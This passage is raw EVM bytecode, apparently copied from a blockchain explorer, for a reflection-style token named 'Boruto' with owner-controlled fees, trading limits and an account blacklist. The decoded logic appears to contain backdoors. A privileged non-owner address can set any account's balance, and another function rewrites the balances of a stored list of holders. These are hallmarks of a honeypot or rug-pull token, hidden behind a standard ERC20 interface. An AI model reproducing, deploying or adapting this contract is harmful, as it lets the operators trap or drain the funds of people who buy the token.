00000000000000000000000000000000000000000815250905090565b610f756116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990613383565b60405180910390fd5b8060198190555050565b6110146116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890613383565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110d76110d06116ad565b8484611880565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111426116ad565b73ffffffffffffffffffffffffffffffffffffffff1614806111b85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a06116ad565b73ffffffffffffffffffffffffffffffffffffffff16145b6111c157600080fd5b60006111cc30610c06565b90506111d7816121fd565b50565b6111e26116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126690613383565b60405180910390fd5b60005b8383905081101561130e57816005600086868581811061129557611294613290565b5b90506020020160208101906112aa9190613071565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611306906132ee565b915050611272565b50505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113556116ad565b73ffffffffffffffffffffffffffffffffffffffff161461137557600080fd5b61137e81612476565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114546116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d890613383565b60405180910390fd5b8060188190555050565b6114f36116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613415565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c906134a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c90613539565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118739190612fa2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e7906135cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579061365d565b60405180910390fd5b600081116119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a906136ef565b60405180910390fd5b6119ab610e4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1957506119e9610e4f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e0457601660149054906101000a900460ff16611aa857611a3a610e4f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e90613781565b60405180910390fd5b5b601754811115611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae4906137ed565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b915750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc79061387f565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c7d5760185481611c3284610c06565b611c3c919061389f565b10611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390613967565b60405180910390fd5b5b6000611c8830610c06565b9050600060195482101590506017548210611ca35760175491505b808015611cbd5750601660159054906101000a900460ff16155b8015611d175750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611d2d575060168054906101000a900460ff165b8015611d835750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dd95750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0157611de7826121fd565b60004790506000811115611dff57611dfe47612169565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611eab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f5e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f6c57600090506120f3565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561202f57600854600d81905550600954600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120da5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120f257600a54600d81905550600b54600e819055505b5b6120ff84848484612510565b50505050565b600083831115829061214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449190612de3565b60405180910390fd5b506000838561215c9190613987565b9050809150509392505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121d1573d6000803e3d6000fd5b5050565b6000806121e0612546565b90506121f5818461257190919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612235576122346139bb565b5b6040519080825280602002602001820160405280156122635781602001602082028036833780820191505090505b509050308160008151811061227b5761227a613290565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612322573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234691906139ff565b8160018151811061235a57612359613290565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116b5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612425959493929190613b25565b600060405180830381600087803b15801561243f57600080fd5b505af1158015612453573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600080612481612546565b90505b6124b7817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61257190919063ffffffff16565b8311156124ef576124d2600a8461257190919063ffffffff16565b92506124e8600a8261257190919063ffffffff16565b9050612484565b600061250482856125bb90919063ffffffff16565b90508092505050919050565b8061251e5761251d612636565b5b612529848484612679565b61253283612844565b806125405761253f61294e565b5b50505050565b6000806000612553612962565b9150915061256a818361257190919063ffffffff16565b9250505090565b60006125b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c1565b905092915050565b6000808314156125ce5760009050612630565b600082846125dc9190613b7f565b90508284826125eb9190613c08565b1461262b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262290613cab565b60405180910390fd5b809150505b92915050565b6000600d5414801561264a57506000600e54145b1561265457612677565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061268b87612a24565b9550955095509550955095506126e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ca81612b34565b6127d48483612bf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128319190612fa2565b60405180910390a3505050505050505050565b6000600c80549050905060005b818110156128e5578273ffffffffffffffffffffffffffffffffffffffff16600c828154811061288457612883613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128d257505061294b565b80806128dd906132ee565b915050612851565b50600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b50565b600f54600d81905550601054600e81905550565b600080600060065490506000670de0b6b3a76400009050612996670de0b6b3a764000060065461257190919063ffffffff16565b8210156129b457600654670de0b6b3a76400009350935050506129bd565b81819350935050505b9091565b60008083118290612a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ff9190612de3565b60405180910390fd5b5060008385612a179190613c08565b9050809150509392505050565b6000806000806000806000806000612a418a600d54600e54612c2b565b9250925092506000612a51612546565b90506000806000612a648e878787612cc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ace83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612105565b905092915050565b6000808284612ae5919061389f565b905083811015612b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2190613d17565b60405180910390fd5b8091505092915050565b6000612b3e612546565b90506000612b5582846125bb90919063ffffffff16565b9050612ba981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c0682600654612a8c90919063ffffffff16565b600681905550612c2181600754612ad690919063ffffffff16565b6007819055505050565b600080600080612c576064612c49888a6125bb90919063ffffffff16565b61257190919063ffffffff16565b90506000612c816064612c73888b6125bb90919063ffffffff16565b61257190919063ffffffff16565b90506000612caa82612c9c858c612a8c90919063ffffffff16565b612a8c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612cda85896125bb90919063ffffffff16565b90506000612cf186896125bb90919063ffffffff16565b90506000612d0887896125bb90919063ffffffff16565b90506000612d3182612d238587612a8c90919063ffffffff16565b612a8c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d84578082015181840152602081019050612d69565b83811115612d93576000848401525b50505050565b6000601f19601f8301169050919050565b6000612db582612d4a565b612dbf8185612d55565b9350612dcf818560208601612d66565b612dd881612d99565b840191505092915050565b60006020820190508181036000830152612dfd8184612daa565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e3a82612e0f565b9050919050565b612e4a81612e2f565b8114612e5557600080fd5b50565b600081359050612e6781612e41565b92915050565b6000819050919050565b612e8081612e6d565b8114612e8b57600080fd5b50565b600081359050612e9d81612e77565b92915050565b60008060408385031215612eba57612eb9612e05565b5b6000612ec885828601612e58565b9250506020612ed985828601612e8e565b9150509250929050565b60008115159050919050565b612ef881612ee3565b82525050565b6000602082019050612f136000830184612eef565b92915050565b6000819050919050565b6000612f3e612f39612f3484612e0f565b612f19565b612e0f565b9050919050565b6000612f5082612f23565b9050919050565b6000612f6282612f45565b9050919050565b612f7281612f57565b82525050565b6000602082019050612f8d6000830184612f69565b92915050565b612f9c81612e6d565b82525050565b6000602082019050612fb76000830184612f93565b92915050565b600080600060608486031215612fd657612fd5612e05565b5b6000612fe486828701612e58565b9350506020612ff586828701612e58565b925050604061300686828701612e8e565b9150509250925092565b600060ff82169050919050565b61302681613010565b82525050565b6000602082019050613041600083018461301d565b92915050565b61305081612e2f565b82525050565b600060208201905061306b6000830184613047565b92915050565b60006020828403121561308757613086612e05565b5b600061309584828501612e58565b91505092915050565b6130a781612ee3565b81146130b257600080fd5b50565b6000813590506130c48161309e565b92915050565b6000602082840312156130e0576130df612e05565b5b60006130ee848285016130b5565b91505092915050565b60006020828403121561310d5761310c612e05565b5b600061311b84828501612e8e565b91505092915050565b6000806000806080858703121561313e5761313d612e05565b5b600061314c87828801612e8e565b945050602061315d87828801612e8e565b935050604061316e87828801612e8e565b925050606061317f87828801612e8e565b91505092959194509250565b600080fd5b600080fd5b600080fd5b60008083601f8401126131b0576131af61318b565b5b8235905067ffffffffffffffff8111156131cd576131cc613190565b5b6020830191508360208202830111156131e9576131e8613195565b5b9250929050565b60008060006040848603121561320957613208612e05565b5b600084013567ffffffffffffffff81111561322757613226612e0a565b5b6132338682870161319a565b93509350506020613246868287016130b5565b9150509250925092565b6000806040838503121561326757613266612e05565b5b600061327585828601612e58565b925050602061328685828601612e58565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132f982612e6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332c5761332b6132bf565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061336d602083612d55565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133ff602683612d55565b915061340a826133a3565b604082019050919050565b6000602082019050818103600083015261342e816133f2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613491602483612d55565b915061349c82613435565b604082019050919050565b600060208201905081810360008301526134c081613484565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613523602283612d55565b915061352e826134c7565b604082019050919050565b6000602082019050818103600083015261355281613516565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135b5602583612d55565b91506135c082613559565b604082019050919050565b600060208201905081810360008301526135e4816135a8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613647602383612d55565b9150613652826135eb565b604082019050919050565b600060208201905081810360008301526136768161363a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136d9602983612d55565b91506136e48261367d565b604082019050919050565b60006020820190508181036000830152613708816136cc565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061376b603f83612d55565b91506137768261370f565b604082019050919050565b6000602082019050818103600083015261379a8161375e565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137d7601c83612d55565b91506137e2826137a1565b602082019050919050565b60006020820190508181036000830152613806816137ca565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613869602383612d55565b91506138748261380d565b604082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b60006138aa82612e6d565b91506138b583612e6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138ea576138e96132bf565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613951602383612d55565b915061395c826138f5565b604082019050919050565b6000602082019050818103600083015261398081613944565b9050919050565b600061399282612e6d565b915061399d83612e6d565b9250828210156139b0576139af6132bf565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506139f981612e41565b92915050565b600060208284031215613a1557613a14612e05565b5b6000613a23848285016139ea565b91505092915050565b6000819050919050565b6000613a51613a4c613a4784613a2c565b612f19565b612e6d565b9050919050565b613a6181613a36565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a9c81612e2f565b82525050565b6000613aae8383613a93565b60208301905092915050565b6000602082019050919050565b6000613ad282613a67565b613adc8185613a72565b9350613ae783613a83565b8060005b83811015613b18578151613aff8882613aa2565b9750613b0a83613aba565b925050600181019050613aeb565b5085935050505092915050565b600060a082019050613b3a6000830188612f93565b613b476020830187613a58565b8181036040830152613b598186613ac7565b9050613b686060830185613047565b613b756080830184612f93565b9695505050505050565b6000613b8a82612e6d565b9150613b9583612e6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bce57613bcd6132bf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c1382612e6d565b9150613c1e83612e6d565b925082613c2e57613c2d613bd9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c95602183612d55565b9150613ca082613c39565b604082019050919050565b60006020820190508181036000830152613cc481613c88565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d01601b83612d55565b9150613d0c82613ccb565b602082019050919050565b60006020820190508181036000830152613d3081613cf4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c1281b19e23b8ab6891223162823bb0bcf6fc81a95143603bd906f0633ff47d64736f6c634300080b0033
Deployed Bytecode
0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063cadc138211610064578063cadc138214610615578063dd62ed3e1461063e578063ea1644d51461067b578063f2fde38b146106a4576101cd565b8063a9059cbb1461055b578063bfd7928414610598578063c3c8cd80146105d5578063c492f046146105ec576101cd565b80638f9a55c0116100d15780638f9a55c0146104b357806395d89b41146104de57806398a5c31514610509578063a2a957bb14610532576101cd565b80637d1db4a5146104345780638da5cb5b1461045f5780638f70ccf71461048a576101cd565b806349bd5a5e116101645780636fc3eaec1161013e5780636fc3eaec146103a057806370a08231146103b7578063715018a6146103f457806374010ece1461040b576101cd565b806349bd5a5e1461032357806363c6f9121461034e5780636d8aa8f814610377576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd146102905780632fd689e3146102cd578063313ce567146102f8576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106cd565b6040516101f49190612de3565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612ea3565b61070a565b6040516102319190612efe565b60405180910390f35b34801561024657600080fd5b5061024f610728565b60405161025c9190612f78565b60405180910390f35b34801561027157600080fd5b5061027a61074e565b6040516102879190612fa2565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612fbd565b61075e565b6040516102c49190612efe565b60405180910390f35b3480156102d957600080fd5b506102e2610837565b6040516102ef9190612fa2565b60405180910390f35b34801561030457600080fd5b5061030d61083d565b60405161031a919061302c565b60405180910390f35b34801561032f57600080fd5b50610338610846565b6040516103459190613056565b60405180910390f35b34801561035a57600080fd5b5061037560048036038101906103709190613071565b61086c565b005b34801561038357600080fd5b5061039e600480360381019061039991906130ca565b610a84565b005b3480156103ac57600080fd5b506103b5610b35565b005b3480156103c357600080fd5b506103de60048036038101906103d99190613071565b610c06565b6040516103eb9190612fa2565b60405180910390f35b34801561040057600080fd5b50610409610c57565b005b34801561041757600080fd5b50610432600480360381019061042d91906130f7565b610daa565b005b34801561044057600080fd5b50610449610e49565b6040516104569190612fa2565b60405180910390f35b34801561046b57600080fd5b50610474610e4f565b6040516104819190613056565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac91906130ca565b610e78565b005b3480156104bf57600080fd5b506104c8610f2a565b6040516104d59190612fa2565b60405180910390f35b3480156104ea57600080fd5b506104f3610f30565b6040516105009190612de3565b60405180910390f35b34801561051557600080fd5b50610530600480360381019061052b91906130f7565b610f6d565b005b34801561053e57600080fd5b5061055960048036038101906105549190613124565b61100c565b005b34801561056757600080fd5b50610582600480360381019061057d9190612ea3565b6110c3565b60405161058f9190612efe565b60405180910390f35b3480156105a457600080fd5b506105bf60048036038101906105ba9190613071565b6110e1565b6040516105cc9190612efe565b60405180910390f35b3480156105e157600080fd5b506105ea611101565b005b3480156105f857600080fd5b50610613600480360381019061060e91906131f0565b6111da565b005b34801561062157600080fd5b5061063c60048036038101906106379190612ea3565b611314565b005b34801561064a57600080fd5b5061066560048036038101906106609190613250565b6113c5565b6040516106729190612fa2565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d91906130f7565b61144c565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613071565b6114eb565b005b60606040518060400160405280600681526020017f426f7275746f0000000000000000000000000000000000000000000000000000815250905090565b600061071e6107176116ad565b84846116b5565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061076b848484611880565b61082c846107776116ad565b61082785604051806060016040528060288152602001613d3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107dd6116ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121059092919063ffffffff16565b6116b5565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600c8054905090506000600190505b81811015610a7f5760095460026000600c84815481106108f8576108f7613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109e75760026000600c838154811061097c5761097b613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109eb565b6009545b60026000600c8481548110610a0357610a02613290565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610a77906132ee565b9150506108d5565b505050565b610a8c6116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1090613383565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b766116ad565b73ffffffffffffffffffffffffffffffffffffffff161480610bec5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd46116ad565b73ffffffffffffffffffffffffffffffffffffffff16145b610bf557600080fd5b6000479050610c0381612169565b50565b6000610c50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d5565b9050919050565b610c5f6116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390613383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610db26116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3690613383565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e806116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490613383565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600681526020017f424f5255544f0000000000000000000000000000000000000000000000000000815250905090565b610f756116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990613383565b60405180910390fd5b8060198190555050565b6110146116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890613383565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110d76110d06116ad565b8484611880565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111426116ad565b73ffffffffffffffffffffffffffffffffffffffff1614806111b85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a06116ad565b73ffffffffffffffffffffffffffffffffffffffff16145b6111c157600080fd5b60006111cc30610c06565b90506111d7816121fd565b50565b6111e26116ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126690613383565b60405180910390fd5b60